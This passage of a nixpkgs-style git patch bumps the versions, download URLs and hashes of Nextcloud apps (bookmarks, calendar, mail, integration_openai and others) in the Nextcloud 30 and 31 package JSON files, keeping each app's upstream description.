-      url = "https://raw.githubusercontent.com/openwrt/openwrt/52b6c9247997e51a97f13bb9e94749bc34e2d52e/package/libs/mbedtls/patches/100-fix-gcc14-build.patch";
-      hash = "sha256-20bxGoUHkrOEungN3SamYKNgj95pM8IjbisNRh68Wlw=";
-    })
-  ];
+  version = "3.6.4";
+  hash = "sha256-y5YqKtjW4IXyIZkoJvwCGC4scx0qdeV40rynHza4NUE=";
 }

From 004627e8b44bf83f6085443b2e68f9fc629392f7 Mon Sep 17 00:00:00 2001
From: Maximilian Bosch <maximilian@mbosch.me>
Date: Sun, 3 Aug 2025 18:56:57 +0200
Subject: [PATCH 3220/4511] nextcloudPackages.apps: update

(cherry picked from commit c37c9bdd5bf87f1d854a194023693cc5f23fdba4)
---
 pkgs/servers/nextcloud/packages/30.json | 104 ++++++++++++------------
 pkgs/servers/nextcloud/packages/31.json | 104 ++++++++++++------------
 2 files changed, 104 insertions(+), 104 deletions(-)

diff --git a/pkgs/servers/nextcloud/packages/30.json b/pkgs/servers/nextcloud/packages/30.json
index 6b335dba5315..73c148ea5dd7 100644
--- a/pkgs/servers/nextcloud/packages/30.json
+++ b/pkgs/servers/nextcloud/packages/30.json
@@ -10,9 +10,9 @@
     ]
   },
   "bookmarks": {
-    "hash": "sha256-NVe9eOL6dcL4hYYV7dsoR8ZKXFHkEGAo5sj9DXuDJEI=",
-    "url": "https://github.com/nextcloud/bookmarks/releases/download/v15.1.1/bookmarks-15.1.1.tar.gz",
-    "version": "15.1.1",
+    "hash": "sha256-67Bl8UacPdTJ3YYIFZScChPHgb12v6jRAQXhXooX1hg=",
+    "url": "https://github.com/nextcloud/bookmarks/releases/download/v15.1.3/bookmarks-15.1.3.tar.gz",
+    "version": "15.1.3",
     "description": "- 📂 Sort bookmarks into folders\n- 🏷 Add tags and personal notes\n- ☠ Find broken links and duplicates\n- 📲 Synchronize with all your browsers and devices\n- 📔 Store archived versions of your links in case they are depublished\n- 🔍 Full-text search on site contents\n- 👪 Share bookmarks with other users, groups and teams or via public links\n- ⚛ Generate RSS feeds of your collections\n- 📈 Stats on how often you access which links\n- 🔒 Automatic backups of your bookmarks collection\n- 💼 Built-in Dashboard widgets for frequent and recent links\n\nRequirements:\n - PHP extensions:\n   - intl: *\n   - mbstring: *\n - when using MySQL, use at least v8.0",
     "homepage": "https://github.com/nextcloud/bookmarks",
     "licenses": [
@@ -20,9 +20,9 @@
     ]
   },
   "calendar": {
-    "hash": "sha256-Wm7RWDe/6jcOEGp2eR1k7x05ilB6kW1u1aRdN7HI4Wk=",
-    "url": "https://github.com/nextcloud-releases/calendar/releases/download/v5.3.5/calendar-v5.3.5.tar.gz",
-    "version": "5.3.5",
+    "hash": "sha256-R5L0EAoLGr1CfzhtHO4FfUstqR+EDsOIdgFYccgnEMc=",
+    "url": "https://github.com/nextcloud-releases/calendar/releases/download/v5.3.8/calendar-v5.3.8.tar.gz",
+    "version": "5.3.8",
     "description": "A Calendar app for Nextcloud. Easily sync events from various devices with your Nextcloud and edit them online.\n\n* 🚀 **Integration with other Nextcloud apps!** Like Contacts, Talk, Tasks, Deck and Circles\n* 🌐 **WebCal Support!** Want to see your favorite team's matchdays in your calendar? No problem!\n* 🙋 **Attendees!** Invite people to your events\n* ⌚ **Free/Busy!** See when your attendees are available to meet\n* ⏰ **Reminders!** Get alarms for events inside your browser and via email\n* 🔍 **Search!** Find your events at ease\n* ☑️ **Tasks!** See tasks or Deck cards with a due date directly in the calendar\n* 🔈 **Talk rooms!** Create an associated Talk room when booking a meeting with just one click\n* 📆 **Appointment booking** Send people a link so they can book an appointment with you [using this app](https://apps.nextcloud.com/apps/appointments)\n* 📎 **Attachments!** Add, upload and view event attachments\n* 🙈 **We’re not reinventing the wheel!** Based on the great [c-dav library](https://github.com/nextcloud/cdav-library), [ical.js](https://github.com/mozilla-comm/ical.js) and [fullcalendar](https://github.com/fullcalendar/fullcalendar) libraries.",
     "homepage": "https://github.com/nextcloud/calendar/",
     "licenses": [
@@ -30,9 +30,9 @@
     ]
   },
   "collectives": {
-    "hash": "sha256-RCpIfoSmYahIo03IumJwEn/06ZeqOhJ/ov5WKGvwcUA=",
-    "url": "https://github.com/nextcloud/collectives/releases/download/v2.18.0/collectives-2.18.0.tar.gz",
-    "version": "2.18.0",
+    "hash": "sha256-H7Fc3tBOTGjOlhmzImqik7ZC9IorWwrTKsxUkz4E8H0=",
+    "url": "https://github.com/nextcloud/collectives/releases/download/v3.0.3/collectives-3.0.3.tar.gz",
+    "version": "3.0.3",
     "description": "Collectives is a Nextcloud App for activist and community projects to organize together.\nCome and gather in collectives to build shared knowledge.\n\n* 👥 **Collective and non-hierarchical workflow by heart**: Collectives are\n  tied to a [Nextcloud Team](https://github.com/nextcloud/circles) and\n  owned by the collective.\n* 📝 **Collaborative page editing** like known from Etherpad thanks to the\n  [Text app](https://github.com/nextcloud/text).\n* 🔤 **Well-known [Markdown](https://en.wikipedia.org/wiki/Markdown) syntax**\n  for page formatting.\n\n## Installation\n\nIn your Nextcloud instance, simply navigate to **»Apps«**, find the\n**»Teams«** and **»Collectives«** apps and enable them.",
     "homepage": "https://github.com/nextcloud/collectives",
     "licenses": [
@@ -40,9 +40,9 @@
     ]
   },
   "contacts": {
-    "hash": "sha256-52FNlLIc4Xr/8mKzEJW8YJ7RbfaeSpMaIxGhBFp0WFc=",
-    "url": "https://github.com/nextcloud-releases/contacts/releases/download/v7.1.5/contacts-v7.1.5.tar.gz",
-    "version": "7.1.5",
+    "hash": "sha256-AAlfPeFWCO894/R5fLsXSSW2VKacVCH07JsGLIJWVms=",
+    "url": "https://github.com/nextcloud-releases/contacts/releases/download/v7.2.3/contacts-v7.2.3.tar.gz",
+    "version": "7.2.3",
     "description": "The Nextcloud contacts app is a user interface for Nextcloud's CardDAV server. Easily sync contacts from various devices with your Nextcloud and edit them online.\n\n* 🚀 **Integration with other Nextcloud apps!** Currently Mail and Calendar – more to come.\n* 🎉 **Never forget a birthday!** You can sync birthdays and other recurring events with your Nextcloud Calendar.\n* 👥 **Sharing of Adressbooks!** You want to share your contacts with your friends or coworkers? No problem!\n* 🙈 **We’re not reinventing the wheel!** Based on the great and open SabreDAV library.",
     "homepage": "https://github.com/nextcloud/contacts#readme",
     "licenses": [
@@ -80,9 +80,9 @@
     ]
   },
   "deck": {
-    "hash": "sha256-A2n68T7x4la4VrMwsBMIWk6LWM4nge9FtQhl5eLp8jQ=",
-    "url": "https://github.com/nextcloud-releases/deck/releases/download/v1.14.5/deck-v1.14.5.tar.gz",
-    "version": "1.14.5",
+    "hash": "sha256-cB2EaqyaSG+cE+51Q86au0cSl5/VEZeTW2exqajmKBY=",
+    "url": "https://github.com/nextcloud-releases/deck/releases/download/v1.14.6/deck-v1.14.6.tar.gz",
+    "version": "1.14.6",
     "description": "Deck is a kanban style organization tool aimed at personal planning and project organization for teams integrated with Nextcloud.\n\n\n- 📥 Add your tasks to cards and put them in order\n- 📄 Write down additional notes in Markdown\n- 🔖 Assign labels for even better organization\n- 👥 Share with your team, friends or family\n- 📎 Attach files and embed them in your Markdown description\n- 💬 Discuss with your team using comments\n- ⚡ Keep track of changes in the activity stream\n- 🚀 Get your project organized",
     "homepage": "https://github.com/nextcloud/deck",
     "licenses": [
@@ -150,10 +150,10 @@
     ]
   },
   "groupfolders": {
-    "hash": "sha256-FpGpZB5hv0gSXRDTYpCo0MPNOat27ZsyuXxVIYBs+pg=",
-    "url": "https://github.com/nextcloud-releases/groupfolders/releases/download/v18.1.3/groupfolders-v18.1.3.tar.gz",
-    "version": "18.1.3",
-    "description": "Admin configured folders shared with everyone in a group.\n\nFolders can be configured from *Group folders* in the admin settings.\n\nAfter a folder is created, the admin can give access to the folder to one or more groups, control their write/sharing permissions and assign a quota for the folder.",
+    "hash": "sha256-OUZsjf5i/ihzihybiM+HNQwiYOOw+/QgnIOsm+ipuOk=",
+    "url": "https://github.com/nextcloud-releases/groupfolders/releases/download/v18.1.4/groupfolders-v18.1.4.tar.gz",
+    "version": "18.1.4",
+    "description": "Admin configured folders shared with everyone in a team.\n\nFolders can be configured from *Team folders* in the admin settings.\n\nAfter a folder is created, the admin can give access to the folder to one or more teams, control their write/sharing permissions and assign a quota for the folder.",
     "homepage": "https://github.com/nextcloud/groupfolders",
     "licenses": [
       "agpl"
@@ -170,9 +170,9 @@
     ]
   },
   "integration_deepl": {
-    "hash": "sha256-FKlu1tlA/GxAHKFu4kfq8CsDvBrnMnLKDizisgb0IOQ=",
-    "url": "https://github.com/nextcloud-releases/integration_deepl/releases/download/v1.3.1/integration_deepl-v1.3.1.tar.gz",
-    "version": "1.3.1",
+    "hash": "sha256-WjTg/+ckoZ/xFrfN0LaLvWIM/JbbnfvVO4EbnRnvB60=",
+    "url": "https://github.com/nextcloud-releases/integration_deepl/releases/download/v2.0.0/integration_deepl-v2.0.0.tar.gz",
+    "version": "2.0.0",
     "description": "Deepl integration providing an translations through deepl.com with Nextcloud\n\nThis app integrates with [Nextcloud Assistant](https://apps.nextcloud.com/apps/assistant) to offer translation services We recommend to install Assistant additionally and activate Deepl as translation provider in the Artifical Intelligence admin settings.\n\nThis app also integrates with the translation API of Nextcloud server to offer translation services without Assistant. Currently this is available in Text and Talk.\n\nTo run translations and any other Task Processing tasks synchronously, run the following command in a background process (10 is the interval in seconds when the process should relaunch to use the latest php changes):\n\n```sh\nset -e; while true; do occ background-job:worker -v -t 10 \"OC\\TaskProcessing\\SynchronousBackgroundJob\"; done\n```\n\n## Ethical AI Rating\n### Rating: 🔴\n\nNegative:\n* the software for training and inferencing of this model is proprietary, limiting running it locally or training by yourself\n* the trained model is not freely available, so the model can not be ran on-premises\n* the training data is not freely available, limiting the ability of external parties to check and correct for bias or optimise the model’s performance and CO2 usage.\n\nLearn more about the Nextcloud Ethical AI Rating [in our blog](https://nextcloud.com/blog/nextcloud-ethical-ai-rating/).",
     "homepage": "https://github.com/nextcloud/integration_deepl",
     "licenses": [
@@ -180,10 +180,10 @@
     ]
   },
   "integration_openai": {
-    "hash": "sha256-LUfgHGN2gddCsATRBgWMJO8EsaOqqRYVZXCL4EKc6Vw=",
-    "url": "https://github.com/nextcloud-releases/integration_openai/releases/download/v3.5.0/integration_openai-v3.5.0.tar.gz",
-    "version": "3.5.0",
-    "description": "⚠️ The smart pickers have been removed from this app\nas they are now included in the [Assistant app](https://apps.nextcloud.com/apps/assistant).\n\nThis app implements:\n\n* Text generation providers: Free prompt, Summarize, Headline, Context Write, Chat, and Reformulate (using any available large language model)\n* A Translation provider (using any available language model)\n* A SpeechToText provider (using Whisper)\n* An image generation provider\n\n⚠️ Context Write, Summarize, Headline and Reformulate have mainly been tested with OpenAI.\nThey might work when connecting to other services, without any guarantee.\n\nInstead of connecting to the OpenAI API for these, you can also connect to a self-hosted [LocalAI](https://localai.io) instance or [Ollama](https://ollama.com/) instance\nor to any service that implements an API similar to the OpenAI one, for example:\n[IONOS AI Model Hub](https://docs.ionos.com/cloud/ai/ai-model-hub), [Plusserver](https://www.plusserver.com/en/ai-platform/) or [MistralAI](https://mistral.ai).\n\n⚠️ This app is mainly tested with OpenAI. We do not guarantee it works perfectly\nwith other services that implement OpenAI-compatible APIs with slight differences.\n\n## Improve AI task pickup speed\n\nTo avoid task processing execution delay, setup at 4 background job workers in the main server (where Nextcloud is installed). The setup process is documented here: https://docs.nextcloud.com/server/latest/admin_manual/ai/overview.html#improve-ai-task-pickup-speed\n\n## Ethical AI Rating\n### Rating for Text generation using ChatGPT via the OpenAI API: 🔴\n\nNegative:\n* The software for training and inference of this model is proprietary, limiting running it locally or training by yourself\n* The trained model is not freely available, so the model can not be run on-premises\n* The training data is not freely available, limiting the ability of external parties to check and correct for bias or optimise the model's performance and CO2 usage.\n\n\n### Rating for Translation using ChatGPT via the OpenAI API: 🔴\n\nNegative:\n* The software for training and inference of this model is proprietary, limiting running it locally or training by yourself\n* The trained model is not freely available, so the model can not be run on-premises\n* The training data is not freely available, limiting the ability of external parties to check and correct for bias or optimise the model's performance and CO2 usage.\n\n### Rating for Image generation using DALL·E via the OpenAI API: 🔴\n\nNegative:\n* The software for training and inferencing of this model is proprietary, limiting running it locally or training by yourself\n* The trained model is not freely available, so the model can not be ran on-premises\n* The training data is not freely available, limiting the ability of external parties to check and correct for bias or optimise the model’s performance and CO2 usage.\n\n\n### Rating for Speech-To-Text using Whisper via the OpenAI API: 🟡\n\nPositive:\n* The software for training and inferencing of this model is open source\n* The trained model is freely available, and thus can run on-premise\n\nNegative:\n* The training data is not freely available, limiting the ability of external parties to check and correct for bias or optimise the model’s performance and CO2 usage.\n\n### Rating for Text generation via LocalAI: 🟢\n\nPositive:\n* The software for training and inferencing of this model is open source\n* The trained model is freely available, and thus can be ran on-premises\n* The training data is freely available, making it possible to check or correct for bias or optimise the performance and CO2 usage.\n\n\n### Rating for Image generation using Stable Diffusion via LocalAI : 🟡\n\nPositive:\n* The software for training and inferencing of this model is open source\n* The trained model is freely available, and thus can be ran on-premises\n\nNegative:\n* The training data is not freely available, limiting the ability of external parties to check and correct for bias or optimise the model’s performance and CO2 usage.\n\n\n### Rating for Speech-To-Text using Whisper via LocalAI: 🟡\n\nPositive:\n* The software for training and inferencing of this model is open source\n* The trained model is freely available, and thus can be ran on-premises\n\nNegative:\n* The training data is not freely available, limiting the ability of external parties to check and correct for bias or optimise the model’s performance and CO2 usage.\n\nLearn more about the Nextcloud Ethical AI Rating [in our blog](https://nextcloud.com/blog/nextcloud-ethical-ai-rating/).",
+    "hash": "sha256-VAvpbiTzbbQPsohQygdXRfPqPkxf7rEBuYELb0ADZqA=",
+    "url": "https://github.com/nextcloud-releases/integration_openai/releases/download/v3.7.1/integration_openai-v3.7.1.tar.gz",
+    "version": "3.7.1",
+    "description": "⚠️ The smart pickers have been removed from this app\nas they are now included in the [Assistant app](https://apps.nextcloud.com/apps/assistant).\n\nThis app implements:\n\n* Text generation providers: Free prompt, Summarize, Headline, Context Write, Chat, and Reformulate (using any available large language model)\n* A Translation provider (using any available language model)\n* A SpeechToText provider (using Whisper)\n* An image generation provider\n\n⚠️ Context Write, Summarize, Headline and Reformulate have mainly been tested with OpenAI.\nThey might work when connecting to other services, without any guarantee.\n\nInstead of connecting to the OpenAI API for these, you can also connect to a self-hosted [LocalAI](https://localai.io) instance or [Ollama](https://ollama.com/) instance\nor to any service that implements an API similar to the OpenAI one, for example:\n[IONOS AI Model Hub](https://docs.ionos.com/cloud/ai/ai-model-hub), [Plusserver](https://www.plusserver.com/en/ai-platform/) or [MistralAI](https://mistral.ai).\n\n⚠️ This app is mainly tested with OpenAI. We do not guarantee it works perfectly\nwith other services that implement OpenAI-compatible APIs with slight differences.\n\n## Improve AI task pickup speed\n\nTo avoid task processing execution delay, setup at 4 background job workers in the main server (where Nextcloud is installed). The setup process is documented here: https://docs.nextcloud.com/server/latest/admin_manual/ai/overview.html#improve-ai-task-pickup-speed\n\n## Ethical AI Rating\n### Rating for Text generation using ChatGPT via the OpenAI API: 🔴\n\nNegative:\n* The software for training and inference of this model is proprietary, limiting running it locally or training by yourself\n* The trained model is not freely available, so the model can not be run on-premises\n* The training data is not freely available, limiting the ability of external parties to check and correct for bias or optimise the model's performance and CO2 usage.\n\n\n### Rating for Translation using ChatGPT via the OpenAI API: 🔴\n\nNegative:\n* The software for training and inference of this model is proprietary, limiting running it locally or training by yourself\n* The trained model is not freely available, so the model can not be run on-premises\n* The training data is not freely available, limiting the ability of external parties to check and correct for bias or optimise the model's performance and CO2 usage.\n\n### Rating for Image generation using DALL·E via the OpenAI API: 🔴\n\nNegative:\n* The software for training and inferencing of this model is proprietary, limiting running it locally or training by yourself\n* The trained model is not freely available, so the model can not be ran on-premises\n* The training data is not freely available, limiting the ability of external parties to check and correct for bias or optimise the model’s performance and CO2 usage.\n\n\n### Rating for Speech-To-Text using Whisper via the OpenAI API: 🟡\n\nPositive:\n* The software for training and inferencing of this model is open source\n* The trained model is freely available, and thus can run on-premise\n\nNegative:\n* The training data is not freely available, limiting the ability of external parties to check and correct for bias or optimise the model’s performance and CO2 usage.\n\n### Rating for Text-To-Speech via the OpenAI API: 🔴\n\nNegative:\n* The software for training and inferencing of this model is proprietary, limiting running it locally or training by yourself\n* The trained model is not freely available, so the model can not be ran on-premises\n* The training data is not freely available, limiting the ability of external parties to check and correct for bias or optimise the model’s performance and CO2 usage.\n\n### Rating for Text generation via LocalAI: 🟢\n\nPositive:\n* The software for training and inferencing of this model is open source\n* The trained model is freely available, and thus can be ran on-premises\n* The training data is freely available, making it possible to check or correct for bias or optimise the performance and CO2 usage.\n\n\n### Rating for Image generation using Stable Diffusion via LocalAI : 🟡\n\nPositive:\n* The software for training and inferencing of this model is open source\n* The trained model is freely available, and thus can be ran on-premises\n\nNegative:\n* The training data is not freely available, limiting the ability of external parties to check and correct for bias or optimise the model’s performance and CO2 usage.\n\n\n### Rating for Speech-To-Text using Whisper via LocalAI: 🟡\n\nPositive:\n* The software for training and inferencing of this model is open source\n* The trained model is freely available, and thus can be ran on-premises\n\nNegative:\n* The training data is not freely available, limiting the ability of external parties to check and correct for bias or optimise the model’s performance and CO2 usage.\n\nLearn more about the Nextcloud Ethical AI Rating [in our blog](https://nextcloud.com/blog/nextcloud-ethical-ai-rating/).",
     "homepage": "https://github.com/nextcloud/integration_openai",
     "licenses": [
       "agpl"
@@ -200,9 +200,9 @@
     ]
   },
   "mail": {
-    "hash": "sha256-FSpr/PVZlx4t+1cGmyoES/9i0c2nyRTPLTodLM2JP04=",
-    "url": "https://github.com/nextcloud-releases/mail/releases/download/v5.1.7/mail-v5.1.7.tar.gz",
-    "version": "5.1.7",
+    "hash": "sha256-ZO7OfGtHckgY02djPHRH1dZW1gu5R/2Te+v9k3lKpeM=",
+    "url": "https://github.com/nextcloud-releases/mail/releases/download/v5.1.10/mail-v5.1.10.tar.gz",
+    "version": "5.1.10",
     "description": "**💌 A mail app for Nextcloud**\n\n- **🚀 Integration with other Nextcloud apps!** Currently Contacts, Calendar & Files – more to come.\n- **📥 Multiple mail accounts!** Personal and company account? No problem, and a nice unified inbox. Connect any IMAP account.\n- **🔒 Send & receive encrypted mails!** Using the great [Mailvelope](https://mailvelope.com) browser extension.\n- **🙈 We’re not reinventing the wheel!** Based on the great [Horde](https://www.horde.org) libraries.\n- **📬 Want to host your own mail server?** We do not have to reimplement this as you could set up [Mail-in-a-Box](https://mailinabox.email)!\n\n## Ethical AI Rating\n\n### Priority Inbox\n\nPositive:\n* The software for training and inferencing of this model is open source.\n* The model is created and trained on-premises based on the user's own data.\n* The training data is accessible to the user, making it possible to check or correct for bias or optimise the performance and CO2 usage.\n\n### Thread Summaries (opt-in)\n\n**Rating:** 🟢/🟡/🟠/🔴\n\nThe rating depends on the installed text processing backend. See [the rating overview](https://docs.nextcloud.com/server/latest/admin_manual/ai/index.html) for details.\n\nLearn more about the Nextcloud Ethical AI Rating [in our blog](https://nextcloud.com/blog/nextcloud-ethical-ai-rating/).",
     "homepage": "https://github.com/nextcloud/mail#readme",
     "licenses": [
@@ -210,8 +210,8 @@
     ]
   },
   "maps": {
-    "hash": "sha256-E0S/CwXyye19lcuiONEQCyHJqlL0ZG1A9Q7oOTEZH1g=",
-    "url": "https://github.com/nextcloud/maps/releases/download/v1.6.0-3-nightly/maps-1.6.0-3-nightly.tar.gz",
+    "hash": "sha256-IupRymjs955TiUutzoTTMeESNfBmAp51l+oBaZwfdN0=",
+    "url": "https://github.com/nextcloud/maps/releases/download/v1.6.0/maps-1.6.0.tar.gz",
     "version": "1.6.0",
     "description": "**The whole world fits inside your cloud!**\n\n- **🗺 Beautiful map:** Using [OpenStreetMap](https://www.openstreetmap.org) and [Leaflet](https://leafletjs.com), you can choose between standard map, satellite, topographical, dark mode or even watercolor! 🎨\n- **⭐ Favorites:** Save your favorite places, privately! Sync with [GNOME Maps](https://github.com/nextcloud/maps/issues/30) and mobile apps is planned.\n- **🧭 Routing:** Possible using either [OSRM](http://project-osrm.org), [GraphHopper](https://www.graphhopper.com) or [Mapbox](https://www.mapbox.com).\n- **🖼 Photos on the map:** No more boring slideshows, just show directly where you were!\n- **🙋 Contacts on the map:** See where your friends live and plan your next visit.\n- **📱 Devices:** Lost your phone? Check the map!\n- **〰 Tracks:** Load GPS tracks or past trips. Recording with [PhoneTrack](https://f-droid.org/en/packages/net.eneiluj.nextcloud.phonetrack/) or [OwnTracks](https://owntracks.org) is planned.",
     "homepage": "https://github.com/nextcloud/maps",
@@ -240,9 +240,9 @@
     ]
   },
   "news": {
-    "hash": "sha256-Y1+hcRxewWyctG5nS7GjN+zWCBrxoroeb01HLzqAR08=",
-    "url": "https://github.com/nextcloud/news/releases/download/26.0.2/news.tar.gz",
-    "version": "26.0.2",
+    "hash": "sha256-8U2EOK8mXPEk70IU8GLXYU0EoZU7O4fhFkzhGpauvZc=",
+    "url": "https://github.com/nextcloud/news/releases/download/26.1.0/news.tar.gz",
+    "version": "26.1.0",
     "description": "📰 A RSS/Atom Feed reader App for Nextcloud\n\n- 📲 Synchronize your feeds with multiple mobile or desktop [clients](https://nextcloud.github.io/news/clients/)\n- 🔄 Automatic updates of your news feeds\n- 🆓 Free and open source under AGPLv3, no ads or premium functions\n\n**System Cron is currently required for this app to work**\n\nRequirements can be found [here](https://nextcloud.github.io/news/install/#dependencies)\n\nThe Changelog is available [here](https://github.com/nextcloud/news/blob/master/CHANGELOG.md)\n\nCreate a [bug report](https://github.com/nextcloud/news/issues/new/choose)\n\nCreate a [feature request](https://github.com/nextcloud/news/discussions/new)\n\nReport a [feed issue](https://github.com/nextcloud/news/discussions/new)",
     "homepage": "https://github.com/nextcloud/news",
     "licenses": [
@@ -260,9 +260,9 @@
     ]
   },
   "notes": {
-    "hash": "sha256-/Zym7bNotcdradtR3cG+rIaAH9jZs+/3PCP7zXS6WJo=",
-    "url": "https://github.com/nextcloud-releases/notes/releases/download/v4.12.1/notes-v4.12.1.tar.gz",
-    "version": "4.12.1",
+    "hash": "sha256-WpxRJ45N+aO+cOp5u6+uwlijzofpmdcUg07ax3p3WDA=",
+    "url": "https://github.com/nextcloud-releases/notes/releases/download/v4.12.2/notes-v4.12.2.tar.gz",
+    "version": "4.12.2",
     "description": "The Notes app is a distraction free notes taking app for [Nextcloud](https://www.nextcloud.com/). It provides categories for better organization and supports formatting using [Markdown](https://en.wikipedia.org/wiki/Markdown) syntax. Notes are saved as files in your Nextcloud, so you can view and edit them with every Nextcloud client. Furthermore, a separate [REST API](https://github.com/nextcloud/notes/blob/master/docs/api/README.md) allows for an easy integration into apps ([Android](https://github.com/nextcloud/notes-android), [iOS](https://github.com/nextcloud/notes-ios), as well as [3rd-party apps](https://github.com/nextcloud/notes/wiki#3rd-party-clients) which allow convenient access to your Nextcloud notes). Further features include marking notes as favorites.",
     "homepage": "https://github.com/nextcloud/notes",
     "licenses": [
@@ -300,9 +300,9 @@
     ]
   },
   "polls": {
-    "hash": "sha256-j+Aq3Hu7i52o5HqMROTHeb/955N7Qw4TMFPEevR+bYQ=",
-    "url": "https://github.com/nextcloud-releases/polls/releases/download/v7.4.4/polls-v7.4.4.tar.gz",
-    "version": "7.4.4",
+    "hash": "sha256-pGXydde3kLTHgA3vgq2NG1YsyWkda/z8frMFbHdxetQ=",
+    "url": "https://github.com/nextcloud-releases/polls/releases/download/v8.1.4/polls-v8.1.4.tar.gz",
+    "version": "8.1.4",
     "description": "A polls app, similar to Doodle/DuD-Poll with the possibility to restrict access (members, certain groups/users, hidden and public).",
     "homepage": "https://github.com/nextcloud/polls",
     "licenses": [
@@ -310,9 +310,9 @@
     ]
   },
   "previewgenerator": {
-    "hash": "sha256-dPUvtVFtSqlG9M1RXZ8u7nL3wgK5yFU2/pL9pFLjisc=",
-    "url": "https://github.com/nextcloud-releases/previewgenerator/releases/download/v5.8.0/previewgenerator-v5.8.0.tar.gz",
-    "version": "5.8.0",
+    "hash": "sha256-+vJ1h/wxOOwmWmj6gSfXv7UgsRjwelboFQwHpE53efY=",
+    "url": "https://github.com/nextcloud-releases/previewgenerator/releases/download/v5.9.0/previewgenerator-v5.9.0.tar.gz",
+    "version": "5.9.0",
     "description": "The Preview Generator app allows admins to pre-generate previews. The app listens to edit events and stores this information. Once a cron job is triggered it will generate start preview generation. This means that you can better utilize your system by pre-generating previews when your system is normally idle and thus putting less load on your machine when the requests are actually served.\n\nThe app does not replace on demand preview generation so if a preview is requested before it is pre-generated it will still be shown.\nThe first time you install this app, before using a cron job, you properly want to generate all previews via:\n**./occ preview:generate-all -vvv**\n\n**Important**: To enable pre-generation of previews you must add **php /var/www/nextcloud/occ preview:pre-generate** to a system cron job that runs at times of your choosing.",
     "homepage": "https://github.com/nextcloud/previewgenerator",
     "licenses": [
@@ -350,9 +350,9 @@
     ]
   },
   "richdocuments": {
-    "hash": "sha256-vvZZE76NLNgrqwufVV/FVp09W8udJvY6iWzxxMuLCU0=",
-    "url": "https://github.com/nextcloud-releases/richdocuments/releases/download/v8.5.7/richdocuments-v8.5.7.tar.gz",
-    "version": "8.5.7",
+    "hash": "sha256-PVGFCzWPbP9bR433XvpNu5TVFFUmJ/Ewzo0Zo9wg4gU=",
+    "url": "https://github.com/nextcloud-releases/richdocuments/releases/download/v8.5.9/richdocuments-v8.5.9.tar.gz",
+    "version": "8.5.9",
     "description": "This application can connect to a Collabora Online (or other) server (WOPI-like Client). Nextcloud is the WOPI Host. Please read the documentation to learn more about that.\n\nYou can also edit your documents off-line with the Collabora Office app from the **[Android](https://play.google.com/store/apps/details?id=com.collabora.libreoffice)** and **[iOS](https://apps.apple.com/us/app/collabora-office/id1440482071)** store.",
     "homepage": "https://collaboraoffice.com/",
     "licenses": [
@@ -370,9 +370,9 @@
     ]
   },
   "spreed": {
-    "hash": "sha256-McNUCYvP7bKwZHrfqKMq5w5aEvA4ulS+ifFqUIl4i48=",
-    "url": "https://github.com/nextcloud-releases/spreed/releases/download/v20.1.8/spreed-v20.1.8.tar.gz",
-    "version": "20.1.8",
+    "hash": "sha256-+1CdYMgyDDTUJJ/q4lqs1PMtNhkHVF/miFkbfc5j5aA=",
+    "url": "https://github.com/nextcloud-releases/spreed/releases/download/v20.1.9/spreed-v20.1.9.tar.gz",
+    "version": "20.1.9",
     "description": "Chat, video & audio-conferencing using WebRTC\n\n* 💬 **Chat** Nextcloud Talk comes with a simple text chat, allowing you to share or upload files from your Nextcloud Files app or local device and mention other participants.\n* 👥 **Private, group, public and password protected calls!** Invite someone, a whole group or send a public link to invite to a call.\n* 🌐 **Federated chats** Chat with other Nextcloud users on their servers\n* 💻 **Screen sharing!** Share your screen with the participants of your call.\n* 🚀 **Integration with other Nextcloud apps** like Files, Calendar, User status, Dashboard, Flow, Maps, Smart picker, Contacts, Deck, and many more.\n* 🌉 **Sync with other chat solutions** With [Matterbridge](https://github.com/42wim/matterbridge/) being integrated in Talk, you can easily sync a lot of other chat solutions to Nextcloud Talk and vice-versa.",
     "homepage": "https://github.com/nextcloud/spreed",
     "licenses": [
@@ -440,9 +440,9 @@
     ]
   },
   "user_oidc": {
-    "hash": "sha256-nXDWfRP9n9eH+JGg1a++kD5uLMsXh5BHAaTAOgLI9W4=",
-    "url": "https://github.com/nextcloud-releases/user_oidc/releases/download/v7.2.0/user_oidc-v7.2.0.tar.gz",
-    "version": "7.2.0",
+    "hash": "sha256-5ny76JXlGKnzmoaFyKU3l5I50oc03yy6WtiIcUZwKnk=",
+    "url": "https://github.com/nextcloud-releases/user_oidc/releases/download/v7.3.0/user_oidc-v7.3.0.tar.gz",
+    "version": "7.3.0",
     "description": "Allows flexible configuration of an OIDC server as Nextcloud login user backend.",
     "homepage": "https://github.com/nextcloud/user_oidc",
     "licenses": [
diff --git a/pkgs/servers/nextcloud/packages/31.json b/pkgs/servers/nextcloud/packages/31.json
index 6e6e73780564..233174736e8d 100644
--- a/pkgs/servers/nextcloud/packages/31.json
+++ b/pkgs/servers/nextcloud/packages/31.json
@@ -10,9 +10,9 @@
     ]
   },
   "bookmarks": {
-    "hash": "sha256-NVe9eOL6dcL4hYYV7dsoR8ZKXFHkEGAo5sj9DXuDJEI=",
-    "url": "https://github.com/nextcloud/bookmarks/releases/download/v15.1.1/bookmarks-15.1.1.tar.gz",
-    "version": "15.1.1",
+    "hash": "sha256-67Bl8UacPdTJ3YYIFZScChPHgb12v6jRAQXhXooX1hg=",
+    "url": "https://github.com/nextcloud/bookmarks/releases/download/v15.1.3/bookmarks-15.1.3.tar.gz",
+    "version": "15.1.3",
     "description": "- 📂 Sort bookmarks into folders\n- 🏷 Add tags and personal notes\n- ☠ Find broken links and duplicates\n- 📲 Synchronize with all your browsers and devices\n- 📔 Store archived versions of your links in case they are depublished\n- 🔍 Full-text search on site contents\n- 👪 Share bookmarks with other users, groups and teams or via public links\n- ⚛ Generate RSS feeds of your collections\n- 📈 Stats on how often you access which links\n- 🔒 Automatic backups of your bookmarks collection\n- 💼 Built-in Dashboard widgets for frequent and recent links\n\nRequirements:\n - PHP extensions:\n   - intl: *\n   - mbstring: *\n - when using MySQL, use at least v8.0",
     "homepage": "https://github.com/nextcloud/bookmarks",
     "licenses": [
@@ -20,9 +20,9 @@
     ]
   },
   "calendar": {
-    "hash": "sha256-Wm7RWDe/6jcOEGp2eR1k7x05ilB6kW1u1aRdN7HI4Wk=",
-    "url": "https://github.com/nextcloud-releases/calendar/releases/download/v5.3.5/calendar-v5.3.5.tar.gz",
-    "version": "5.3.5",
+    "hash": "sha256-R5L0EAoLGr1CfzhtHO4FfUstqR+EDsOIdgFYccgnEMc=",
+    "url": "https://github.com/nextcloud-releases/calendar/releases/download/v5.3.8/calendar-v5.3.8.tar.gz",
+    "version": "5.3.8",
